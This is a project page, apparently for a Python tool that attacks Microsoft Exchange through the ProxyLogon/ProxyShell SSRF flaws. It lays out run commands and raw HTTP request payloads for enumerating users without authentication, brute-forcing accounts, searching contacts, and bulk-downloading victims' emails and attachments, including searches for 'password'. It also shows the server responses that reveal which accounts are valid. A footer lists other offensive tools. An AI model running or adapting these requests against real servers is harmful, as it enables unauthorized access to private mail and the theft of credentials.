Some Attacks of Exchange SSRF ProxyLogon&ProxyShell

Last update: Dec 30, 2022

Overview

Some Attacks of Exchange SSRF

This project is heavily replicated in ProxyShell, NtlmRelayToEWS

https://mp.weixin.qq.com/s/GFcEKA48bPWsezNdVcrWag

Get 100 Email Users Without By Brute 无需爆破获取100条邮箱用户

run 运行程序：

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Get

result 结果：

Email Address  : [email protected]
Email Address  : [email protected]
Email Address  : [email protected]
Email Address  : [email protected]

Brute Account 爆破可能存在的用户

file with emails 需要尝试的邮箱文件：

/tmp/emails.txt：

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

run 运行程序：

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Brute --file /tmp/emails.txt

result 结果：

[email protected] valid
[email protected] valid

爆破用户的几个接口一：

POST /autodiscover/[email protected]/ews/exchange.asmx HTTP/1.1
Host: mail.exchange.com
User-Agent: Python PSRP Client
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Cookie: Email=autodiscover/[email protected]
Content-Length: 776

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <m:GetFolder>
            <m:FolderShape>
                <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
                <t:DistinguishedFolderId Id="inbox">
                    <t:Mailbox>
                        <t:EmailAddress>[email protected]</t:EmailAddress>
                    </t:Mailbox>
                </t:DistinguishedFolderId>
            </m:FolderIds>
        </m:GetFolder>
    </soap:Body>
</soap:Envelope>

用户存在会提示：

Access is denied. Check credentials and try again.,

爆破用户的几个接口二：

POST /autodiscover/[email protected]/autodiscover/autodiscover.xml?=&Email=autodiscover/[email protected] HTTP/1.1
Host: mail.exchange.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36.
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Content-Length: 369

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>[email protected]</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>

用户不存在会提示：

The email address can't be found.

Search Contacts 搜索联系人

run 运行程序：

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action SearchC --email [email protected] --keyword test

--keyword为你想要搜索的联系人关键词。

result 结果：

[email protected]
[email protected]

Search Mails And Download (include attachment) 搜索邮箱并下载，包括附件

run 运行程序：

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action SearchM --email [email protected] --keyword password

--keyword为你想要搜索的关键词，比如"密码"。

result 结果：

[+] Item [output/password-item-0.eml] saved successfully

keyword关键词可以使用一些邮件语法，比如搜索主题时，可以用--keyword "subject:password"

Download user's emails (include attachment) 下载指定用户的邮件，包括附件

run 运行程序：

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Download --email [email protected]

result 结果：

[+] Item [output/item-0.eml] saved successfully

Some Attacks of Exchange SSRF ProxyLogon&ProxyShell

Related tags

Overview

Some Attacks of Exchange SSRF

This project is heavily replicated in ProxyShell, NtlmRelayToEWS

Get 100 Email Users Without By Brute 无需爆破获取100条邮箱用户

Brute Account 爆破可能存在的用户

Search Contacts 搜索联系人

Search Mails And Download (include attachment) 搜索邮箱并下载，包括附件

Download user's emails (include attachment) 下载指定用户的邮件，包括附件

Owner

Jumbo

HTTP Protocol Stack Remote Code Execution Vulnerability CVE-2022-21907

This is an injection tool that can inject any xposed modules apk into the debug android app

OSINT Cybersecurity Tools

Big-Papa Integrates Javascript and python for remote cookie stealing which then can be used for session hijacking

一个自动挖掘漏洞的框架，日后会发展成强大的信息收集+漏洞挖掘脚本！

A python script to bypass 403-forbidden.

Transparent proxy server that works as a poor man's VPN. Forwards over ssh. Doesn't require admin. Works with Linux and MacOS. Supports DNS tunneling.

MTBLLS Ethical Hacking Tool Announcement of v2.0

SSH Tool For OSINT and then Cracking.

A CTF2.5/MMF2 Decompiler

A Modified version of TCC's Osprey poc framework......

Apache Solr SSRF(CVE-2021-27905)

Using python 3 and Flask an MVC system where the AES 128 CBC and Trivium algorithms

the metasploit script(POC/EXP) about CVE-2021-22005 VMware vCenter Server contains an arbitrary file upload vulnerability

Cowrie SSH/Telnet Honeypot https://cowrie.readthedocs.io

CVE-2021-26855: PoC (Not a HoneyPoC for once!)

This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798).

Übersicht remote command execution 0day exploit

This is a Python program that implements a vacuum cleaner as an Artificial Intelligence.

Web Headers Security Scanner